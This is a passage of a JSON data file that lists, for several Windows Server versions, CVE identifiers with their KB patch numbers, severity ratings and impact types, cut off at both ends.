Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038792\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038792\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056895\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074594\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0833\",\"kb\":\"4074594\",\"severity\":\"Moderate\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088876\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093114\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457129\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462926\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467703\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103725\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487000\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480963\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493446\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530702\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534297\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537821\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556846\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571703\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601384\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003209\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003671\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001382\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005076\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005613\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006714\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014738\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029312\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025285\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026415\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073696\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028228\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039294\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041828\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043138\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048735\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050048\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053887\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055557\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058380\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058403\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060996\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066873\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062597\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063950\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063950\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070886\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2012 R2 (server core installation)\":[{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901125\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0002\",\"kb\":\"3023266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0016\",\"kb\":\"3019978\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1635\",\"kb\":\"3042553\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1674\",\"kb\":\"3050514\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3101746\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3121918\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126041\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3146723\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"}],\"Windows Server 2016\":[{\"cve\":\"CVE-2016-7200\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3200970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048953\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053579\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025339\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0882\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343887\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093119\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487026\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503267\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537764\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601318\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003638\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601318\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004948\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005043\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005573\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006669\",\"severity\":\"Important\",\"impact\":\"Elevation of 